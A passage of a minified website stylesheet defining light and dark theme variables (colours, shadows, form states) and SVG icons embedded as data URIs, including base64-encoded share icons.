xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(65,\ 84,\ 98\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'12\'\ cy=\'12\'\ r=\'10\'%3E%3C/circle%3E%3Cpolyline\ points=\'12\ 6\ 12\ 12\ 16\ 14\'%3E%3C/polyline%3E%3C/svg%3E);--icon-valid:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(56,\ 142,\ 60\)\'\ stroke-width=\'3\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'20\ 6\ 9\ 17\ 4\ 12\'%3E%3C/polyline%3E%3C/svg%3E);--icon-share:url(data:image/svg+xml;charset=utf-8;base64,PHN2ZyB3aWR0aD0nMjQnIGhlaWdodD0nMjQnIHZpZXdCb3g9JzAgMCAyNCAyNCcgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJz48cGF0aCBkPSdNMTguOTM0OCA4LjY0ODQ0QzIwLjg5NDEgOC42NDg0NCAyMi40ODU1IDcuMDU0NjkgMjIuNDg1NSA1LjA5NzY2QzIyLjQ4NTUgMy4xNDA2MiAyMC44OTE4IDEuNTQ2ODggMTguOTM0OCAxLjU0Njg4QzE2Ljk3NTQgMS41NDY4OCAxNS4zODQgMy4xNDA2MiAxNS4zODQgNS4wOTc2NkMxNS4zODQgNS4yOTkyMiAxNS40MDA0IDUuNDkzNzUgMTUuNDMzMiA1LjY4NTk0TDcuMzIzODMgOS4zNTM5MUM2LjcwOTc3IDguODQ1MzEgNS45MjIyNyA4LjU0MDYyIDUuMDY0NDUgOC41NDA2MkMzLjEwNTA4IDguNTQwNjIgMS41MTM2NyAxMC4xMzQ0IDEuNTEzNjcgMTIuMDkxNEMxLjUxMzY3IDE0LjA0ODQgMy4xMDc0MiAxNS42NDIyIDUuMDY0NDUgMTUuNjQyMkM1LjgzMzIgMTUuNjQyMiA2LjU0NTcgMTUuMzk2MSA3LjEyNjk1IDE0Ljk4MTNMMTIuNDk0MSAxNy45OTUzQzEyLjQxNjggMTguMjg1OSAxMi4zNzcgMTguNTg4MyAxMi4zNzcgMTguOTAyM0MxMi4zNzcgMjAuODYxNyAxMy45NzA3IDIyLjQ1MzEgMTUuOTI3NyAyMi40NTMxQzE3Ljg4NzEgMjIuNDUzMSAxOS40Nzg1IDIwLjg1OTQgMTkuNDc4NSAxOC45MDIzQzE5LjQ3ODUgMTYuOTQzIDE3Ljg4NDggMTUuMzUxNiAxNS45Mjc3IDE1LjM1MTZDMTQuOTU3NCAxNS4zNTE2IDE0LjA3ODUgMTUuNzQzIDEzLjQzNjMgMTYuMzczNEw4LjMyMjI3IDEzLjUwNDdDOC41MDk3NyAxMy4wNzExIDguNjE1MjMgMTIuNTk1MyA4LjYxNTIzIDEyLjA5MzhDOC42MTUyMyAxMS42ODEyIDguNTQ0OTIgMTEuMjg3NSA4LjQxNjAyIDEwLjkxOTVMMTYuMjIzIDcuMzg3NUMxNi44NzQ2IDguMTU2MjUgMTcuODQ5NiA4LjY0ODQ0IDE4LjkzNDggOC42NDg0NFpNNS4wNjQ0NSAxMy43Njk1QzQuMTQxMDIgMTMuNzY5NSAzLjM4ODY3IDEzLjAxNzIgMy4zODg2NyAxMi4wOTM4QzMuMzg4NjcgMTEuMTcwMyA0LjE0MTAyIDEwLjQxOCA1LjA2NDQ1IDEwLjQxOEM1Ljk4Nzg5IDEwLjQxOCA2Ljc0MDIzIDExLjE3MDMgNi43NDAyMyAxMi4wOTM4QzYuNzQwMjMgMTMuMDE3MiA1Ljk4Nzg5IDEzLjc2OTUgNS4wNjQ0NSAxMy43Njk1Wk0xNS45Mjc3IDE3LjIyNjZDMTYuODUxMiAxNy4yMjY2IDE3LjYwMzUgMTcuOTc4OSAxNy42MDM1IDE4LjkwMjNDMTcuNjAzNSAxOS44MjU4IDE2Ljg1MTIgMjAuNTc4MSAxNS45Mjc3IDIwLjU3ODFDMTUuMDA0MyAyMC41NzgxIDE0LjI1MiAxOS44MjU4IDE0LjI1MiAxOC45MDIzQzE0LjI1MiAxNy45Nzg5IDE1LjAwMiAxNy4yMjY2IDE1LjkyNzcgMTcuMjI2NlpNMTguOTM0OCAzLjQxOTUzQzE5Ljg1ODIgMy40MTk1MyAyMC42MTA1IDQuMTcxODcgMjAuNjEwNSA1LjA5NTMxQzIwLjYxMDUgNi4wMTg3NSAxOS44NTgyIDYuNzcxMDkgMTguOTM0OCA2Ljc3MTA5QzE4LjAxMTMgNi43NzEwOSAxNy4yNTkgNi4wMTg3NSAxNy4yNTkgNS4wOTUzMUMxNy4yNTkgNC4xNzE4NyAxOC4wMTEzIDMuNDE5NTMgMTguOTM0OCAzLjQxOTUzWicgZmlsbD0nIzgzODM4MycvPjwvc3ZnPiA=);--float-ball-more-button-border-color:#F6F6F6;--float-ball-more-button-background-color:#FCFCFC;--float-ball-more-button-svg-color:#6C6F73;color-scheme:light;--service-bg-hover:#F7FAFF}@media only screen and (prefers-color-scheme:dark){#mount:not([data-theme="light"]){--background-color:#11191f;--background-light-green:#141e26;--color:hsl(205deg,16%,77%);--h1-color:hsl(205deg,20%,94%);--h2-color:#e1e6eb;--h3-color:hsl(205deg,18%,86%);--h4-color:#c8d1d8;--h5-color:hsl(205deg,16%,77%);--h6-color:#afbbc4;--muted-color:hsl(205deg,10%,50%);--muted-border-color:#1f2d38;--primary:hsl(195deg,85%,41%);--primary-hover:hsl(195deg,80%,50%);--primary-focus:rgba(16,149,193,0.25);--primary-inverse:#fff;--secondary:hsl(205deg,15%,41%);--secondary-hover:hsl(205deg,10%,50%);--secondary-focus:rgba(115,130,140,0.25);--secondary-inverse:#fff;--contrast:hsl(205deg,20%,94%);--contrast-hover:#fff;--contrast-focus:rgba(115,130,140,0.25);--contrast-inverse:#000;--mark-background-color:#d1c284;--mark-color:#11191f;--ins-color:#388e3c;--del-color:#c62828;--blockquote-border-color:var(--muted-border-color);--blockquote-footer-color:var(--muted-color);--button-box-shadow:0 0 0 rgba(0,0,0,0);--button-hover-box-shadow:0 0 0 rgba(0,0,0,0);--form-element-background-color:#11191f;--form-element-border-color:#374956;--form-element-color:var(--color);--form-element-placeholder-color:var(--muted-color);--form-element-active-background-color:var(--form-element-background-color);--form-element-active-border-color:var(--primary);--form-element-focus-color:var(--primary-focus);--form-element-disabled-background-color:hsl(205deg,25%,23%);--form-element-disabled-border-color:hsl(205deg,20%,32%);--form-element-disabled-opacity:0.5;--form-element-invalid-border-color:#b71c1c;--form-element-invalid-active-border-color:#c62828;--form-element-invalid-focus-color:rgba(198,40,40,0.25);--form-element-valid-border-color:#2e7d32;--form-element-valid-active-border-color:#388e3c;--form-element-valid-focus-color:rgba(56,142,60,0.25);--switch-background-color:#374956;--switch-color:var(--primary-inverse);--switch-checked-background-color:var(--primary);--range-border-color:#24333e;--range-active-border-color:hsl(205deg,25%,23%);--range-thumb-border-color:var(--background-color);--range-thumb-color:var(--secondary);--range-thumb-hover-color:var(--secondary-hover);--range-thumb-active-color:var(--primary);--table-border-color:var(--muted-border-color);--table-row-stripped-background-color:rgba(115,130,140,0.05);--code-background-color:#18232c;--code-color:var(--muted-color);--code-kbd-background-color:var(--contrast);--code-kbd-color:var(--contrast-inverse);--code-tag-color:hsl(330deg,30%,50%);--code-property-color:hsl(185deg,30%,50%);--code-value-color:hsl(40deg,10%,50%);--code-comment-color:#4d606d;--accordion-border-color:var(--muted-border-color);--accordion-active-summary-color:var(--primary);--accordion-close-summary-color:var(--color);--accordion-open-summary-color:var(--muted-color);--card-background-color:#141e26;--card-border-color:var(--card-background-color);--card-box-shadow:0.0145rem 0.029rem 0.174rem rgba(0,0,0,0.01698),0.0335rem 0.067rem 0.402rem rgba(0,0,0,0.024),0.0625rem 0.125rem 0.75rem rgba(0,0,0,0.03),0.1125rem 0.225rem 1.35rem rgba(0,0,0,0.036),0.2085rem 0.417rem 2.502rem rgba(0,0,0,0.04302),0.5rem 1rem 6rem rgba(0,0,0,0.06),0 0 0 0.0625rem rgba(0,0,0,0.015);--card-sectionning-background-color:#18232c;--dropdown-background-color:hsl(205deg,30%,15%);--dropdown-border-color:#24333e;--dropdown-box-shadow:var(--card-box-shadow);--dropdown-color:var(--color);--dropdown-hover-background-color:rgba(36,51,62,0.75);--modal-overlay-background-color:rgba(36,51,62,0.8);--progress-background-color:#24333e;--progress-color:var(--primary);--loading-spinner-opacity:0.5;--tooltip-background-color:var(--contrast);--tooltip-color:var(--contrast-inverse);--icon-checkbox:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'20\ 6\ 9\ 17\ 4\ 12\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron-button:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron-button-inverse:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(0,\ 0,\ 0\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-close:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(115,\ 130,\ 140\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cline\ x1=\'18\'\ y1=\'6\'\ x2=\'6\'\ y2=\'18\'%3E%3C/line%3E%3Cline\ x1=\'6\'\ y1=\'6\'\ x2=\'18\'\ y2=\'18\'%3E%3C/line%3E%3C/svg%3E);--icon-date:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Crect\ x=\'3\'\ y=\'4\'\ width=\'18\'\ height=\'18\'\ rx=\'2\'\ ry=\'2\'%3E%3C/rect%3E%3Cline\ x1=\'16\'\ y1=\'2\'\ x2=\'16\'\ y2=\'6\'%3E%3C/line%3E%3Cline\ x1=\'8\'\ y1=\'2\'\ x2=\'8\'\ y2=\'6\'%3E%3C/line%3E%3Cline\ x1=\'3\'\ y1=\'10\'\ x2=\'21\'\ y2=\'10\'%3E%3C/line%3E%3C/svg%3E);--icon-invalid:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(183,\ 28,\ 28\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'12\'\ cy=\'12\'\ r=\'10\'%3E%3C/circle%3E%3Cline\ x1=\'12\'\ y1=\'8\'\ x2=\'12\'\ y2=\'12\'%3E%3C/line%3E%3Cline\ x1=\'12\'\ y1=\'16\'\ x2=\'12.01\'\ y2=\'16\'%3E%3C/line%3E%3C/svg%3E);--icon-minus:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cline\ x1=\'5\'\ y1=\'12\'\ x2=\'19\'\ y2=\'12\'%3E%3C/line%3E%3C/svg%3E);--icon-search:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'11\'\ cy=\'11\'\ r=\'8\'%3E%3C/circle%3E%3Cline\ x1=\'21\'\ y1=\'21\'\ x2=\'16.65\'\ y2=\'16.65\'%3E%3C/line%3E%3C/svg%3E);--icon-time:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'12\'\ cy=\'12\'\ r=\'10\'%3E%3C/circle%3E%3Cpolyline\ points=\'12\ 6\ 12\ 12\ 16\ 14\'%3E%3C/polyline%3E%3C/svg%3E);--icon-valid:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(46,\ 125,\ 50\)\'\ stroke-width=\'3\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'20\ 6\ 9\ 17\ 4\ 12\'%3E%3C/polyline%3E%3C/svg%3E);--icon-share:url(data:image/svg+xml;charset=utf-8;base64,PHN2ZyB3aWR0aD0nMjInIGhlaWdodD0nMjInIHZpZXdCb3g9JzAgMCAyMiAyMicgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJz48cGF0aCBkPSdNMTcuOTM0OCA3LjY0ODQ0QzE5Ljg5NDEgNy42NDg0NCAyMS40ODU1IDYuMDU0NjkgMjEuNDg1NSA0LjA5NzY2QzIxLjQ4NTUgMi4xNDA2MiAxOS44OTE4IDAuNTQ2ODc1IDE3LjkzNDggMC41NDY4NzVDMTUuOTc1NCAwLjU0Njg3NSAxNC4zODQgMi4xNDA2MiAxNC4zODQgNC4wOTc2NkMxNC4zODQgNC4yOTkyMiAxNC40MDA0IDQuNDkzNzUgMTQuNDMzMiA0LjY4NTk0TDYuMzIzODMgOC4zNTM5MUM1LjcwOTc3IDcuODQ1MzEgNC45MjIyNyA3LjU0MDYyIDQuMDY0NDUgNy41NDA2MkMyLjEwNTA4IDcuNTQwNjIgMC41MTM2NzIgOS4xMzQzOCAwLjUxMzY3MiAxMS4wOTE0QzAuNTEzNjcyIDEzLjA0ODQgMi4xMDc0MiAxNC42NDIyIDQuMDY0NDUgMTQuNjQyMkM0LjgzMzIgMTQuNjQyMiA1LjU0NTcgMTQuMzk2MSA2LjEyNjk1IDEzLjk4MTNMMTEuNDk0MSAxNi45OTUzQzExLjQxNjggMTcuMjg1OSAxMS4zNzcgMTcuNTg4MyAxMS4zNzcgMTcuOTAyM0MxMS4zNzcgMTkuODYxNyAxMi45NzA3IDIxLjQ1MzEgMTQuOTI3NyAyMS40NTMxQzE2Ljg4NzEgMjEuNDUzMSAxOC40Nzg1IDE5Ljg1OTQgMTguNDc4NSAxNy45MDIzQzE4LjQ3ODUgMTUuOTQzIDE2Ljg4NDggMTQuMzUxNiAxNC45Mjc3IDE0LjM1MTZDMTMuOTU3NCAxNC4zNTE2IDEzLjA3ODUgMTQuNzQzIDEyLjQzNjMgMTUuMzczNEw3LjMyMjI3IDEyLjUwNDdDNy41MDk3NyAxMi4wNzExIDcuNjE1MjMgMTEuNTk1MyA3LjYxNTIzIDExLjA5MzhDNy42MTUyMyAxMC42ODEyIDcuNTQ0OTIgMTAuMjg3NSA3LjQxNjAyIDkuOTE5NTNMMTUuMjIzIDYuMzg3NUMxNS44NzQ2IDcuMTU2MjUgMTYuODQ5NiA3LjY0ODQ0IDE3LjkzNDggNy42NDg0NFpNNC4wNjQ0NSAxMi43Njk1QzMuMTQxMDIgMTIuNzY5NSAyLjM4ODY3IDEyLjAxNzIgMi4zODg2NyAxMS4wOTM4QzIuMzg4NjcgMTAuMTcwMyAzLjE0MTAyIDkuNDE3OTcgNC4wNjQ0NSA5LjQxNzk3QzQuOTg3ODkgOS40MTc5NyA1Ljc0MDIzIDEwLjE3MDMgNS43NDAyMyAxMS4wOTM4QzUuNzQwMjMgMTIuMDE3MiA0Ljk4Nzg5IDEyLjc2OTUgNC4wNjQ0NSAxMi43Njk1Wk0xNC45Mjc3IDE2LjIyNjZDMTUuODUxMiAxNi4yMjY2IDE2LjYwMzUgMTYuOTc4OSAxNi42MDM1IDE3LjkwMjNDMTYuNjAzNSAxOC44MjU4IDE1Ljg1MTIgMTkuNTc4MSAxNC45Mjc3IDE5LjU3ODFDMTQuMDA0MyAxOS41NzgxIDEzLjI1MiAxOC44MjU4IDEzLjI1MiAxNy45MDIzQzEzLjI1MiAxNi45Nzg5IDE0LjAwMiAxNi4yMjY2IDE0LjkyNzcgMTYuMjI2NlpNMTcuOTM0OCAyLjQxOTUzQzE4Ljg1ODIgMi40MTk1MyAxOS42MTA1IDMuMTcxODcgMTkuNjEwNSA0LjA5NTMxQzE5LjYxMDUgNS4wMTg3NSAxOC44NTgyIDUuNzcxMDkgMTcuOTM0OCA1Ljc3MTA5QzE3LjAxMTMgNS43NzEwOSAxNi4yNTkgNS4wMTg3NSAxNi4yNTkgNC4wOTUzMUMxNi4yNTkgMy4xNzE4NyAxNy4wMTEzIDIuNDE5NTMgMTcuOTM0OCAyLjQxOTUzWicgZmlsbD0nI0I2QjZCNicvPjwvc3ZnPiA=);color-scheme:dark;--service-bg-hover:#22292F}}[data-theme="dark"]{--background-color:#11191f;--background-light-green:#141e26;--color:hsl(205deg,16%,77%);--h1-color:hsl(205deg,20%,94%);--h2-color:#e1e6eb;--h3-color:hsl(205deg,18%,86%);--h4-color:#c8d1d8;--h5-color:hsl(205deg,16%,77%);--h6-color:#afbbc4;--muted-color:hsl(205deg,10%,50%);--muted-border-color:#1f2d38;--primary:hsl(195deg,85%,41%);--primary-hover:hsl(195deg,80%,50%);--primary-focus:rgba(16,149,193,0.25);--primary-inverse:#fff;--secondary:hsl(205deg,15%,41%);--secondary-hover:hsl(205deg,10%,50%);--secondary-focus:rgba(115,130,140,0.25);--secondary-inverse:#fff;--contrast:hsl(205deg,20%,94%);--contrast-hover:#fff;--contrast-focus:rgba(115,130,140,0.25);--contrast-inverse:#000;--mark-background-color:#d1c284;--mark-color:#11191f;--ins-color:#388e3c;--del-color:#c62828;--blockquote-border-color:var(--muted-border-color);--blockquote-footer-color:var(--muted-color);--button-box-shadow:0 0 0 rgba(0,0,0,0);--button-hover-box-shadow:0 0 0 rgba(0,0,0,0);--form-element-background-color:#11191f;--form-element-border-color:#374956;--form-element-color:var(--color);--form-element-placeholder-color:var(--muted-color);--form-element-active-background-color:var(--form-element-background-color);--form-element-active-border-color:var(--primary);--form-element-focus-color:var(--primary-focus);--form-element-disabled-background-color:hsl(205deg,25%,23%);--form-element-disabled-border-color:hsl(205deg,20%,32%);--form-element-disabled-opacity:0.5;--form-element-invalid-border-color:#b71c1c;--form-element-invalid-active-border-color:#c62828;--form-element-invalid-focus-color:rgba(198,40,40,0.25);--form-element-valid-border-color:#2e7d32;--form-element-valid-active-border-color:#388e3c;--form-element-valid-focus-color:rgba(56,142,60,0.25);--switch-background-color:#374956;--switch-color:var(--primary-inverse);--switch-checked-background-color:var(--primary);--range-border-color:#24333e;--range-active-border-color:hsl(205deg,25%,23%);--range-thumb-border-color:var(--background-color);--range-thumb-color:var(--secondary);--range-thumb-hover-color:var(--secondary-hover);--range-thumb-active-color:var(--primary);--table-border-color:var(--muted-border-color);--table-row-stripped-background-color:rgba(115,130,140,0.05);--code-background-color:#18232c;--code-color:var(--muted-color);--code-kbd-background-color:var(--contrast);--code-kbd-color:var(--contrast-inverse);--code-tag-color:hsl(330deg,30%,50%);--code-property-color:hsl(185deg,30%,50%);--code-value-color:hsl(40deg,10%,50%);--code-comment-color:#4d606d;--accordion-border-color:var(--muted-border-color);--accordion-active-summary-color:var(--primary);--accordion-close-summary-color:var(--color);--accordion-open-summary-color:var(--muted-color);--card-background-color:#141e26;--card-border-color:var(--card-background-color);--card-box-shadow:0.0145rem 0.029rem 0.174rem rgba(0,0,0,0.01698),0.0335rem 0.067rem 0.402rem rgba(0,0,0,0.024),0.0625rem 0.125rem 0.75rem rgba(0,0,0,0.03),0.1125rem 0.225rem 1.35rem rgba(0,0,0,0.036),0.2085rem 0.417rem 2.502rem rgba(0,0,0,0.04302),0.5rem 1rem 6rem rgba(0,0,0,0.06),0 0 0 0.0625rem rgba(0,0,0,0.015);--card-sectionning-background-color:#18232c;--dropdown-background-color:hsl(205deg,30%,15%);--dropdown-border-color:#24333e;--dropdown-box-shadow:var(--card-box-shadow);--dropdown-color:var(--color);--dropdown-hover-background-color:rgba(36,51,62,0.75);--modal-overlay-background-color:rgba(36,51,62,0.8);--progress-background-color:#24333e;--progress-color:var(--primary);--loading-spinner-opacity:0.5;--tooltip-background-color:var(--contrast);--tooltip-color:var(--contrast-inverse);--icon-checkbox:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'20\ 6\ 9\ 17\ 4\ 12\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron-button:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron-button-inverse:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(0,\ 0,\ 0\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-close:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(115,\ 130,\ 140\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cline\ x1=\'18\'\ y1=\'6\'\ x2=\'6\'\ y2=\'18\'%3E%3C/line%3E%3Cline\ x1=\'6\'\ y1=\'6\'\ x2=\'18\'\ y2=\'18\'%3E%3C/line%3E%3C/svg%3E);--icon-date:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Crect\ x=\'3\'\ y=\'4\'\ width=\'18\'\ height=\'18\'\ rx=\'2\'\ ry=\'2\'%3E%3C/rect%3E%3Cline\ x1=\'16\'\ y1=\'2\'\ x2=\'16\'\ y2=\'6\'%3E%3C/line%3E%3Cline\ x1=\'8\'\ y1=\'2\'\ x2=\'8\'\ y2=\'6\'%3E%3C/line%3E%3Cline\ x1=\'3\'\ y1=\'10\'\ x2=\'21\'\ y2=\'10\'%3E%3C/line%3E%3C/svg%3E);--icon-invalid:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(183,\ 28,\ 28\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'12\'\ cy=\'12\'\ r=\'10\'%3E%3C/circle%3E%3Cline\ x1=\'12\'\ y1=\'8\'\ x2=\'12\'\ y2=\'12\'%3E%3C/line%3E%3Cline\ x1=\'12\'\ y1=\'16\'\ x2=\'12.01\'\ y2=\'16\'%3E%3C/line%3E%3C/svg%3E);--icon-minus:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cline\ x1=\'5\'\ y1=\'12\'\ x2=\'19\'\ y2=\'12\'%3E%3C/line%3E%3C/svg%3E);--icon-search:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'11\'\ cy=\'11\'\ r=\'8\'%3E%3C/circle%3E%3Cline\ x1=\'21\'\ y1=\'21\'\ x2=\'16.65\'\ y2=\'16.65\'%3E%3C/line%3E%3C/svg%3E);--icon-time:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'12\'\ cy=\'12\'\ r=\'10\'%3E%3C/circle%3E%3Cpolyline\ points=\'12\ 6\ 12\ 12\ 16\ 14\'%3E%3C/polyline%3E%3C/svg%3E);--icon-valid:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(46,\ 125,\ 50\)\'\ stroke-width=\'3\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'20\ 6\ 9\ 17\ 4\ 